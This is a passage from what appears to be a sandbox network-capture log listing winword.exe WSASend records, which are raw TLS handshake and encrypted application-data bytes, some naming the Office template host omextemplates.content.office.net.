  486. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\x0f\\xd8\\xbf\\xd8\\xf8\\x97o\\x0fjc6\\xcb\\x1a9ker\\xdd\\xba\\x04\\x8b\\xa4\\x9d\r9\\xa2\\\\x93\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  487.  
  488.  
  489. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x04\\xe5\\xc6\\xdb\r\\xc6y!\\x0e|\\xbb\\x86\\xf5\"5,\\xf0s\\xa0\\x01\\xfen\\xdb\\x9c\\x0e\\x8a\rrp3?o\\xb8\\x15\\x0f\\xbf\\xa1\\xf6\\xbc\\xb2\\xcb\\xcf=\\xe8\\x01\\x80n\\x95k\\x07\\x8c\\xc4\\xf2\\x012:\\x13\\xe0\\xac\\xed\\xd8\\x0b\\x92\\x91e:\"\\xd1\\xeag>`\\xb8\\xe7\\xd2t\\xc1\\x1a\\x9do\"b\\x0ccl\n\\xeb\\xfd\\x11\\xb1\\xef\t\\x0b^q4\\xa3r/\\xc0\\xe32\\xeaqg\\xe0xj\\x99l\\xf4\\xd7\\xeek>\\xaa\\x08\\xd0$\\xb6\\x02~a\\xf0\\xd2\\xda\\xab\\xb1\\xfe\\xc5z\\xe7g\\x9e\\xab\\xdc9\\xd6\\xdb6sn\\x8d\\xc7\\xd6\\xfc\\x9a\\x934\\x9d\\xecf\\xc1\\x1e\\xe1\\x9e\\xda@\\x0boj\\xb7\\xd1\\x15?\t\\xa8\\xf8e\\xdd\\x0cjl\\xa3x\\xb3i\\xa2d\\x85!\\x83\\x80.\\x0397v$\\xb1q\\xb4\\xd1\\xa0\\x93n\\xab\\x1e\\xba\\xd3\\xd1\\xbd\\x90d\\xff\\x95.9\\xbd\\xf7\\x90\\x83\\xb6\\xb9\\xed&x\\x83\\xafd\\xee\\xf5\\x1aa\\xc5;\\x81ae\\xb1\\x94d\\xde\\xaah,\\xa0\\xab\\x9c%=\\xcae'lv3\\x82"
  490.  
  491.  
  492. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x90\\xec\\x13\\x81x\\x08\\xaa(\\xa7\\xb6\\x80\\xa3\\xc90j\\x92h\\xffxx\\x103\\x00\\x05@\\xe8\\xbeg\\xa6<o7c4\\xdbp:\\xbc\\xc5y\\xfd\\xc2\\xaa\\x15\\xd3m\\x82\\x9ec\\xa4\\xb0\\x94\\x96\\xb0\\x1e*\\xc0a\\x1d\\xc1\\xc5\\x0c\\xb5\\x92\\xfa\\x8ct\\xd5\\xef\\xf0\\x1e\\xadi\\xfd\\x1d7y$\\xeac\\x99\\xf8b\\xf1\\x18f5\\xf7\\xb1\\x17\\xb1\\xc9\r\\xda\\x8b\\x86)\\xc1<\\x88k\\x90y\\xb5\\xded\\x05\\x9e\\x81e\\xb99u\\xadu\\xad<k\\xf1\\xed\\xb0e\\xbd\\x00\\xbe\\xee\\xfeq\\xdcz\\x05\\xcf\\xd5\\xf9\\xc5ct\\x8d\\x8e\\x84\\xa2\\x8b*\\xb8e5\\xc0 0\\x9c\\xcd\\x1as\\xad\\xde\\xabg\\xedv\\xadj;\\x96\\x18z\t\t\\xcf\\xeb\\xcb\\xc0\\xec\\xb8p\\xe18@q,p\\xb2\\xce\\xb5\\xb7\\xd5\\xeei\\xa4o\\xcdz\\x10\\x84\\xdb\\xea<%\\xa5\\x7f@\\x13r\\xb4\\xa6\\xa6\\xed\\xe7\\xa9\\x0e\\x83\\xe7\\x0ey\\xfdm&:\\x1d\\xa0\\x0c\\xd8\\xca\\xed\\xfe\\x13)\\xaek\\xca,?\\x13\\x0e'\\x9bw\\xc4\\x85\\x13d;=sp\\xa9#"
  493.  
  494.  
  495. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x06n/\\x97\\xb9'\\x02i'\\xab\\x83u\\x1f\\xb7\r!q\\x87\\xac4\\xd6\\x95\\xc5\\x85z\\xbb\\x91\\x8f\\xben\\x1b\\xda\\xdd\\xe3\\xd2\\x0c\\x18(q\\x01\\x06\\xec2\\xf1\\xe5\\xbe\\x05h\\x843\\xafe\\xfa\\xf7zs@-\\xd7^s\\x83\\xe5ly\\x0fvw\\xcc\\xac\\x17\\x8f\\x10f,\\xac\\x0c\\x03\\xd6\\xb3w\\xf1\\xbc\\xce\\x00:tu<\\xb3\\x8bmk\r\\x82g\\x0e\\xf6\\xd1e\\x0e;\\xef~.o\\xa8d\\xa1\\x11\\xec\\x06c\\xdag>2\\x11\\xe0t\\x0bh\\x87\\xea\\xfc3\\x98.\\xc21\\xe6\\x0f\\xf3\\x87\\xd2\\x06\t\\xd0\\xf9i\\xc7\\x8f\\/\\xa2d\\xe3g\\xda\\xea\\x9b\\x14c\\xad\\xae\\xcf;v\\x81\\x91rw\\xe0\\xe8:=\\x9f\\xad\\x92\\xdc\\xe7u\\xb9\\x99x\\xfd~\\xa6k\\xb1\\x17\\xb2\\xa8\\x83\\xe3e\\x06\\xe9\\xcb|de\\x99\\xeax\\xb8wc\\x9ff_\\x84\\x84;\\x8e\\x90)i\\xb8s\\xc4\\xd85q^\\xa2\\xb8\\xca\\x97\\xc8\\x11\\xec\\x16\\xcd.\\xe7v\\xbf\\xf5\\xc2d''x\\x8c\\xe4$\\xdb\\x91)l\\xbcx\\x13\\xa0\\xe7\\x91\\x0f"
  496.  
  497.  
  498. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xeb\\x02\\x96\\xeeb\\x8e\\x82\\x01\\x84\\x92\\xd0\\xcc \\xc4\r\\x98\\x07\\xdc\\xa76\\xd3\\xdf\\x15\\xbd\\x0b\\x17\\xe7lg\\xb7\\xd1\\x1a\\xf6m#*\\xf0\\x97\r\\x12\\xba\\x08\\x08:\\xc4r\\xfe\\xd6\\xb0?\\xfd\\xec\\x9d\\x8e\\xc3\\xaaua\\xb5,\\xd23\\xe1\\xdfs\\xc6\\xc2\\x0bq\\x10ue\\x91-\\xdds\\xa6%\\x9b^8\\xa6\\xc0y\\x15d-o\\x1f\\xe1\\xe5\\xccuz\\xa3v\\xb0\\xec\\xcff\\xad\\xd5?h6k\\xb3\\x8b\\xc9\\xf3st\\xb5\\xa2n\\xdb\\xe0`\\xc5p\\x81m=\\x0e\\xbb\\xb9xj\\xd0\\xb5*m\\xe2\\xe7\\x9bl\\x10e\\x12\\xa4\\xdd\\x90\\xb9\\xb8\\xfewb\\x8f<h\\x82\\xfc\\xad\\xd9n\\xd0uny\\xd2\\xe6\\x9d\\x08\\xe4kb\\xa6\\xe7\\x93s\\x9da9n\\xd5\\xa1\\xd9\\x978/\\xf0\\xb2$\\xcd\\xa25g\\xbf\\x98\\xe8:\\xf5\\xb6\\x07t\\x9d\\x8b\\xb9f%\\xbeh\\xad\\xa7\\x91\\xc7\\x00b\\xcc\\xb3\\xca\\xa1\\x07\\xe7\\xc9\\x06\\xd9\\xc5\\x87\\x84:uv\\xe3\\xbb\\xc3p\\xb9\\xd1\\xe3z\\x19\\xf1,\\xfd|$\\xd0$\\xf1d-$odk/r"
  499.  
  500.  
  501. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdc$\\xd4\\x00\\x88i\\x81\\xc0\\xfa\\x98n\\xbfl\\xc3\\x02\\xe6u\\xa9.\\xcd\\xcd\\xbc8\\x06\\x9f=\\xe5\\x0f\\xe7\\xbe\\xc6\\xb5\\x00\\x7fa\\x1e\\x13\\x14q\\xa3\t\\x8e\\xdc\\xcbm\\x02y3\\xe3\\x7fd\\xe8\\xf5\\xf5\\xf9\\xf7\\xa7\\xd8\\xbd\\x16xg\\xc9c\\xf7\\x8clg\\xffp\\x0c:gi\\x81\\xd7\\xd85\\xc2q\\xdf\\x7fip\\xb9,\\xf8\\xd0\\xe3l\\xd9\\xd7\\x9bd\\xc8~z+\\x1bv\\xd9\\xf2\\xc3\\xdde\\xe0\\x8c\\x15zm_\\xb4\\x8a#\\xfaj\\x95\\xfb\\x1do*\\xfe\\xa0\\x9f%`\t\\x08\\xae\\xae\\xb4#\\xc1@g*\\xbe\\x83\\x0fz\t\\x13\\x97\\xab\\xd2\\xfc^#\\xe8\\xa0.\\xb9t\\x19\\x16\\xf8\\x84\\xd4\\xa3\\xf1\\x05\t!\\x1e\\xb7f\\xcaps\\xb6>\\xed\\x9a\\x8f\\xf9s\\x1dy\\xf7\\xbc&\\xf7d\\x18\\x13\\xff\\xa6s\\x8c\\xdd\t\\x9a\\x16\\xe0\\xdd\\x0euf\\xc5\\xe1\\xb6\\xa8\\xd3\\xed\\x89w~\\x003\\xfe\\xb9b\\xfa&n\\x17\\xdf\\xde\\xb6\\x1a\\xce\\xc1\\xdc\\xefet\\x93\\x1fw\\xae\\x97e\\xf2\\x84%\\xd1\\xcdz?x9\"t\\xa2\\xb67\\x03\\xb8\\x8e"
  502.  
  503.  
  504. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010x\\xe4f\\xcb\"*m&\\xfe\\xc12\\xb0%(rl\\xea\\x03\\x05\\x01j\\x84\\x01\\xc74\\x03\\x14\\xbd\\x19\\xfe\\xb9`\\xe0\\xdc\\xb1\\xf6k\\xb25\\x9c:w\\xf6\\xb8p6\\xb7@\\xaa\\xd0\\xc9-mv\\x10 w\\x99\\x07\\xa6\\xff\\xffj\\xe1\\x18l%&\\xc8r\\x10\\xca\\xb8\\x03\\xbc\\xd4p\\xd6\\xa0d\\x90m\\u\\xdb\\x97\\xd6\\x17\\xc3\\xb1\\xfay\\xe3#ll\\xc12\\xd4p5\\x97s\\x07\\xf2\\xe5\\xf0!\\xe1fqf|n\\x08\\xc0cg\\x9e\\x0c\\x0e\\xe1\\xb2!\\xa2>`\\x07+\\x82\\xd6\\xffre@\\x01\\xa3\\x0c;\\x82\\x9c\\xd8\\xaa\\x0f\\xb4\\x95\\x8cf\\xa1dy\\xf6\\xf1\\xdf%\\x80\\xca\\xf0\\x06pz~\\xff\\x9a\\xd0\\xc0f\\x9f\\xadi\\x7f\\x03\\xe2he\\xdd\\xcc\\x17k\\xa5\\x17s\\x06ij\\xf3\\xff\\xef:\\x9e\\xd8\\xbb\\xe9.o\\xf9c\\xcb\\x11\\x11j\\xdel\\xb7\\x98\\xbar\\xe5y,\\xb4\\x8d\\xd4\\xa8\\x84\\xdc\\xa0\\x91\\xd0\\x83\\xcb(\\x14b\\xc2\\xb8\\xe9\\xe0c\\xc4\\xb0\\x96\\xd1\\x07\\xde\\x84\\x80\\xfd\\x0cmem\\x88\\xa2ad\\xed"
  505.  
  506.  
  507. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf7\\xf8\\x85v\\xb0t\\x1c-\\x8d\\x156f\\xd7\\x13\\xe5`\\xca\\xa3\"\\xaecn\\x12w\\x14@kv\\x048`xx\\x8e\\xf7\\x83\\x921\\x9a,`\\x10\\x18z\\xfa\\xcfi\\x01_\\xd8s\\xeblg\\xdb\\x90/\\xea\\x8ez&e\\x96\\xe7(\\x82k3\"\\x1c\\xc0q~r\\xfahj\\xeeq>\\xa0\\xe7\\xb3\\x9d\\x90\\xfc\\xb6y;\\x82m\\x91\\xa4\\xf5\\x9dncql\\xd1\\\\x1e\\xab\\xd4\\xc4\\x88\t8\\x86f)\\x1e\\xaex\\xb63a\\xc1\\x87^v \\xc3|\\x19\nz3\\x10\\xc4\\xc5\\xdbu\\x9e\\xdau\\xe3\\xa9.x\\xff\\xc2\\xcc\\xe6\\x9d\\xb3b\\x97\\x97\\xf6\\xfa\\x8c\\x1f\\xac\\x0er\\xb2r\\xd6= \\xab\\xed\\x8cw\\xab\\x93\\xa7y\\x1b\\xf0\\xc3(\\x1b\\xe3\\xde\\xf1sw\\xee\\x96b\\xba+\\x12\\xac\\x83l\\xf8x \\xe6\\xdd\t\\x08\\xba\\xa5\\x02\\xc1m\\xd1_q\\xa6\\x07\\xf6\\xc3`\\x08\\x84\\xb1&\\xbc\\x85\\xceq\\x99\\x90*\\xa5\\x9b\\x05\\x84a\\xe6\\x06tu+\\x8a\\x8a\t5\\x11\\x17)(s\\x1c\\x83\\xc9a\\xdb7\\xcb\\x83\\xc4q&"
  508.  
  509.  
  510. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010y-7\\xe4ft%p\\xce-\\xc7\\xe7\\xf7\\xa7y\\x94\\xb2\\xd5!b\\x0e\\x1c\\xbav\\xf7\\x17ebs\\x06\\xa7\\x83\\xa3\\xf2;\\xae\\x89\\x10\\x07\\xab\\xe0*\\xcc\\x14\\x89\\xa4/\\xb0\\x15y44\\xa1\\xd3\t\\x8e\\xb6e\\x12)\\x02,\\xaa\\x8a,\\x88\\x15^\\xa4\\xcba\\xaak\\xb9\\x14\\xd2\\x98\\xa9m`\\x0c\\xf0\\xd9\\x97a\\x85\\xa0b\\xc7\\xf09c\\xe7\\x90\\x19\\x91\\x0e\\xa4j\\xf2\\x84\\x0e\\x94\\x8f\\x81\\xd0\\x99\\xb8\\x01n_\\xd5^m\\x92\\x12\\x14\\x14)\\x1c\\xee\\xda\\xaaov\\xa0vx\t\\xc7)\\xff\\xffvk\\xfa`2\\xe8mv<\\x98xx\\x18q\\xdf\\x07p\\x9a\\x89\\xe0\\xab\\xda\\xdcm\\x03=\\xe3\\x82\\xe7\\xb4\\xb2\\xf3a5\\xa5f\\xaf\\xc3\\xcd\\x80\\x18\\xcf7\\x0e\\xdd\"?j\\xab\\xa7\\x90p\\xc9%\\xbf\\xfe\\xbd>d\\xf2\\xee&\\xd7\\xc3.m-j\n\\xe6m\\xca\\xe1i\\x95\\x86)\\x8a\\xbbb\\xef$e\\x9cfue\\x0e\\x0e\\x02\\x00<\\x90l\\xe0\\xb3e\\xe8lt\\xfc\\xafqo\\\\xe5\\x99\\xc6\\xbf\\x91\\x82l\\x95'\\xfb\\xd2"
  511.  
  512.  
  513. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010r?\\x00\\x06t\\x84\\xd8'\\xd1\\xca\\xbfy*\\xde!\\xa0\\xd8\\xad\\xd2\\xa9m\\x80\\xd3s\\x8en\\xdb\\xf5\\x0e\\xd5\\xaf\\x0e\\xed\\xb2d\\xc2q\\xf5\\xf7\\xf5*w/\\xbb\\xf9\\xe8\\xda$\\x99\\x921\\xea\\xb0\\xa8sw\"l\\xad\\xdd\\xb9\\xd9\\xd2\\x81\\xb6\\xa8\\xa6\\x9f\\xd6\\x8a\\x92\\xd6n\\x87\\x95xu>\\x811\\xf5\\x86\\x1c\\x89\\xccgwh\\xdc\na\\xae\\xees)\\x9a^\\x06h\\xee\\x17$\\x03uzc\\xd4b\\xf8\\xd1m\\+\\x90+\\x95c\\xf0\\xa4\\xc4\\xb3|\\x80\\xc2\\x91\n\\xf3r\\x0c\\x1dn>\\xb9px5\\xaff\\xae\\xc6\\x07^&\n)\\x82+\\x079j\\x172\\xb4\"\\xfa\\xaa\\xd9\\xa7\\x05y#\\x91\\x14\r\nl\\x96en\\x9b\\xb7\\x9b\\x9e\\xe4\\xae\\x0b\\xd2\\x8c(\\x93vc\\x8c<s\\x1d3)\\xa3|\\xf2\\xc7\\xc6w\\xcf\\xba\\xcb\\x1d\\xd9\\x9c\\x1e\\xed\\xefv\\x00uq\\x95\\xd5\\xe2\\xa1\\x93\\x1a\\x85\\xde\\xe0\\xdb\\xb5n\\x85\\xa3\\xd8\\xa69a\\x15z\\xb2\\xc3\\x83\\xea\\x83\\x13s\\x9e\\xab\\x99\r\\x0f9c<\\xab\\xa4\\xcb\\xf8\\x08"
  514.  
  515.  
  516. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb7mzy\\xb7d'\\x03\\xee\\x85\\x83)b\\x88\\xe9\\xbe\n\\xa3\\xad\\xc5\\xa0\\xe7\\xe4\\xd8\\x84\\xdb\\xf3&\\xa3n\\xa7g\\x06\\xec\\x1aa\\x01\\xcb\\x04\\x90a\\x89y\\x7fq\\xf9\\xb7\\xd2\\x8a\\x1d\\xb2\\x9a\\xb1\\xcfo%\\xb2\\xafe|\\xff\\xa7\\xec\\xb3jew\\x01\\x94d\\xdd\\x9a%\\x1f\\xef\\x02\\x84\\x92:\\xa7\\xe6\\x0e#\\xe5\\x98\\xf9r\\xdf\\x1b\\xf7\\x06b\\xe6\\x04(6\\x17\\xc4p\\xd1\\xb2\\x1f|\\xcf\nm\\xf3/\\x0c\\xed\\xc6k\\x16i\\xcc:\\x16\\xcf\\xe6;(j\\x7f\\xd5\\xb1wl\\xcf\\xe3=\\xeb\\xfd\\xf1\\xf0\\xe6u\\xe5\\xab\\xea\\xa3\\xf2\\xd4\\xe7q\\xccdv\\xa2\\x17\\x02\\xe6k\\x86\\x0f\\\\xa1)e\\xd4\\x9cu.\\xbb\\x9a\\xc47\\xb9\\x01\\x98o\\xf4rk\\xc3\\xe24\\x01\\xb5 \\xcc\\xa9\\xe1\\x839\\xec\\xfd(\\xef\\xe1y\\xbd\\\\xfe-m\\xb5\\x86x\\xb1\\x02h\\x1d\\xab\\x8e\\x19\\xf7\\x84\np\\xf6\\xa0s\\xe0\\x04|v\\xec7\\x1a\\xf2\\xf7$\\x17\\xbe\\x18|\\xa2\t\\xb2\\xba\\x93\\x84-\\x1f1qa\\x13\\xbb\\x1a\\x02\"\\xc1(p\\x87\\xfe\\xc4q"
  517.  
  518.  
  519. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1e\\xce\\xa9\\x9e\\xd2\\xdc\\x08\\xd0\\xce\\x95\t-\\x07\\xc7\\xf1\\xc6f\\xf6\\x0c&z\\x93!\\x17\\x82\\xc1\\xbez\\xda\\xd0\\xe1\\xcbfb\\xa9\\x0b\\xf2\\xc6y\\x92\\xaa+<&\\xcb!\\xb7n\\xfa~\\x16\\xff\\xd1\\x1e\\xb0\\x91e\\x17\\x14s\\xbfp\\x14\\xfeu=\\x80\\\\xd9ya\\x8dv\\x0br\\xe1 \\xae\\x02y\\xa4\\x93q\\x9a\\xd2\\x82e\\x99\\xf4\\xdb\\x83\\x81\\x99\\xd1\\x80\\xc2\\xed\\x1c\\xd5\\xb0\\xe8m\\x83\\x08\\x11\\x0e\\x02\\xff\\xfe8\\xecl\\x05\\x89u\\>\\x89\\xf4|\\x81d; 2\\xda%c\\x11\\xbdj\\x1b\\x92x\\x1e\\xbe\\xa9\\xc2\\x88=\\xd7\\xdfl\\xce\\xca\\xbc\\xdf\\xd4\\g\\x81g\\x97\\x19\\xdfci\\x8b?b\\x05\\x0c\\xf3'\\xee\\xc8\\xc7d\\xa0\\x99>!\\x1f\\xb6\\xee\\xb9=&\\xdb0\\xb3\\xc0\\xac\\xee\\xe5y\\xb6\\x1e\\xe5\\x81\\xb4\\xe6(\\xbc^\\xe4v\\xa5\\xe5\t\\x9c\\x93\\x8b\\xda?\\x19e \\x05\\xd8\\xa99\\xe9\\x8c`lo^2x\\xbe\\xad\\x0f\"t\\xe5\\x0bq:p0\\q<\\x86q\\x0e\\x1d\\x0f\\xb4\\x99\\xbf\\xb7*$\\xfe\\xda\\xc5n"
  520.  
  521.  
  522. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010i\\xbd\\xe9l\\x9e\\x8c\\xbe\\x1a^\\xe63\\xfd\\xd9\\xaac\\x05\rch3\\x17\\x9fr\\xf8\\xbb\\xea\\xca\\x8ey!\\x83d\\xa1ti\\x94\\xfb\\xa8\\xcaj\\xf3.\\x88d\\x91\\x1e\r\\xd9\\xe5%\\x8a*\\xea\\xae\\x00m\\x03ook\\xc3\\\\xab\\x05\\x03\\xfe\\xc0\\x0f`\\xbf,)\\xcbk\\x99\\xafv\\x9ai\\xa5\\xb1\\xabk\\x0e\\xf6\\x0f\\x10t+\\x98vk\\x93\\xe8\\xa0\\x9e8ub\\x18\\xc2\\xae\\xeb\\xae\\x02\\x93\\xfa$\\xef\\x8d\\x05\\xe1\\xe3\\xfc7~\\xe2\\xc4r\\xf8?p\\x800\\xc1\\xce\\xe6\\xd56\\x1f\\xc5\\x04\\x90r\\x19\\xc8o\\xba\\xdd\\x1f\\x06,;\\xfe\n\nt\\x1d\\x1b>)\\xbc\\x85\\x9b2\\xc2>\\x94\\x89\\xb1\\xe8fp%\\x17\\x04'\\\\x1b\\xde\\x97)f\\xa0\\x8ae\\xc1\\xeau\\x86\\xd1\\x01\\x03\\x02\\x88ud\\xa4s\\xc7\\xc4\\xd7\\xb4\\x91s\\xb9\\xf8\\xbc\\x91\\x1a5@\\xcenm\\x8b*j\\xbe:0\\x1cy\\xa0n\\x9f\\x1a\\xd2wg\\x15\\xe5n\\xc1sv\"\\xd0\\x7f\\x87\\x92t\\xbe\\xe64\\x91\\xddp\\xd6\\xa1b#\\xb5\\xa2\\xa4d"
  523.  
  524.  
  525. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0c\\xfdh\\xd7<\\x96\\x1bp\\x93\\x9f\\x14\\x8ep\\x9ey\\x12\\xf1\\x87hk0r\\xc4\\x0c\\xa5\\xe0\\xf9\\x19\\xdd#~\\xe8zv\\x15\\x0c\\xaa>\t)\\xa4\\xdcj\\x1a\\xc6v!\\x93\\x13n\\xfd\\xec\\xdd;\\x10\\x0b\\x18\\xfe\\x0b\\x88o?9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000u\\x03\\xbb\\x0f\\xf8\\xd9\\xdd\\xad\\x1b\\xcf0fg\\x18\\x08\\xfe\\xa4\\xe1\\xb3hb*\\xd5\\xd5\\xce\\x8c\\xd2~\\x83\\xf2<\\xda\\x07\\xbe\\x95q\\xf3\\xf0\\x92\\xc2\\xb1\\x8b\\xdf\\xaer0\\xd8"
  526.  
  527.  
  528. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe9q\\xfa\\xfd\\xda\\x89=i\\xa4t#\\xbf\\xa1\\xc7\\xaa\\xeb\\x9e\\x94\\x13\\x7f\\x9a\\xc0g\\x99\\xc7v\\xe4\\xdc\\xbc\\xe3\\xb6\\xe9;\\xf8\\xe4.\\xc7\\xf3e\\xfc\\x0ck\\x03i\\xdd\\xe5\\xe9\\x14\"e\\xbct\\x06\\x1f6?\\x13i \\x89oy>\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe5\\x88.\\x13t\\x86\\x8a\\xf3\\xcf\\xb8\\x07h`\\x16\\x1f\\x9c\\x98\\xaf\\x1f\\xdc\\xe1\\x17\\xcb\\xfc\\x9e\n\\x06\\xbe\\xd9\\x05\\x08\\x01\\xdec\\xb9\\xda\\x05\\x1b\\xd3x\\x0e4\\xc5b2\\xaa1\\xed"
  529.  
  530.  
  531. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc2\\xfc\\xc7\\xa9\\xb4l\\xf4\\x94\\xd4\\x1d\\xf1\\xe0k\\xbf\\xb7\\x1a,\\xb9p\\xe0\\xe2\\xf3\\x98b\\xa0y\\xba%\\xae\\xab\\x90 \\x1d\\xff\\xbf\\xe9\"\\xcbj\\xb8\\x88\\xb3l)\\x05\\xee\\xc9\\x03\\xa8\\xf1\\xcdqx\\xcd\\xdd\\xdf\"\\xb3\\x19\\x13\\xfax\\xb5|\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000rh\\xc4\\x14tm\\x9dob\\x1dx\\x02?m\\x8b|\\x03\\xf0\\x88j\\x9b\\xa9\n\\x0f\\xa8\\xe9\\xb6\\x91\\xa2\\x9e\\x01f\\xad\\x83wo@n\\x93\\xa6\\xee\\xc9\\xc2u\\x892\\xb1t"
  532.  
  533.  
  534. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb4\\x91\\x8d\\xedu\\xe0\\xf9h\\xa5\\x9dkc+\\xb9\\xf6\\x0fq\\x81\\xbc@\\xe0y\\xab\\x8e\\xa9\\xdc\\x11\\xa45\\x0c\\xa6\\xe3f\\xf2\\x89\\xf2\\xec\\xc0\\xc0\\xdfi\\x03\\xcb\\x8e\\xd7\\xc9\\xec\\xe4\\x9a\\x82\\xe5\\x0f\\xad\\x1fug\\xcb\\x89v\\x9ag\\xf2\\xf7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xedc\\x18\\x85\\x1f\\x9e\\xa4\\x9e\\x80\nze\\x8a\\xeb;9\\x8c\\x8e9,a\\xee\r\\xe7x\\x01=+\\xbb\\x1f\\x9150\\xf3 b\\x1ft\\x88\\x04\\x0f\\xb0\\xeb@\\x8c\\x9c>\\xc2"
  535.  
  536.  
  537. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb2\\xb8\\x8c\\x9fk\\xd8\\x83#^\\xfem\\xb1\\xae\\xc9tx-(l\\xe9\\x0c\\xf3\\x84\\xc5\\xd6\r\\xd4\\x05qgm\\xba\r\\xd5\\x15\\xd8n\\xe0\\xd7&\\x95\\x14\\q\\xfa\\xe7\\xcb\\xd8n\\xa0\\xeeg\\x80\\xc0=vt\\xa5\\xd3\\xc7\\xee\\x0e\\xb1_\\xb2j\\x01i\\x08\\x84.\\xff\\xb0\\xfb\\x08\\xe5\\xe0\\xfdl\\x1dx\\x02\\x8calcm0\\x0ex\\x19\\x82\\xff\\x17\\x82\\xe5\\xd7\\x9ae\\xb3\\xb7\\x96\\xe6\\xfd\\xff\\x1d\\xf4u~\r5,\\xea\\xc3\\x1c\\x81c\\x87\\xc8\\x88\\xa5yr\\xb1z\\xfb\\xd4y\\xf7t\\xc6\\x05\\x86p\\x88k\\xb7=\\xeb\\xff\\xac\\xa5\\x81\\xb3\\xf4\\x05\\xf3\\x95\\xc9\\xd4g\\x87\\x14k\\x8dg\\xa1\\x0b\\x1d\\xc8\\xcc\\xb9\\xa7\\xe9f\\xff\\xf7\\x96\\x11x\\x1b\\x15\\xfbx\\xe7\\xf2z\\xc5\\xe8\\x974\\x97\\xdb;\\x01shtgj#\\xfe\\xb2\\xf1\\x9f\\xaf?\\xea\\x01\"\\x7f\\xc7\\xc6\\x90\\xede\\xe0\\xd1i\\x13a\\x13\\x83\\x85?\\xb7\\xe4\\xb56\\xde\\xea\\x8f\\x91\\xc1)\\xf3\\xb2b\\xcb\\x05\\xe7\\xa6\\x12n\\x9a\\xc8\\xcdf\\x1c\\xd3)\\x9d8f\\xce=\\x99\r\\xf0"
  538.  
  539.  
  540. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<p\\xe3\\xa9\\x0f\\x1e\\xdd\\x8cp\\x7f\\xcf\\xe98\\x136\\xf1'\\xd1\\x8d\"\\xf8\\xb0eo\\xc2\\xd6\\xde4\\xc0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  541.  
  542.  
  543. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<\\xd9\\xc8w\\xed\\xb6.\\xa1\\xc2\\xf6\\xdf\\xbf#\\x17\\xc6b\\xaf~\\x7f\\xb3\\xd0\\xe6:\\xfc\\x1e3\\xea\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  544.  
  545.  
  546. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<\\xb4u\\x85y0r\\xb6\\xc7\\x93wexe\\x01\\x8b\\x1fpv\\xb9\\x1f\\x11\\x87\\xab\\xa3\\x9bh\\x13\\xc9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  547.  
  548.  
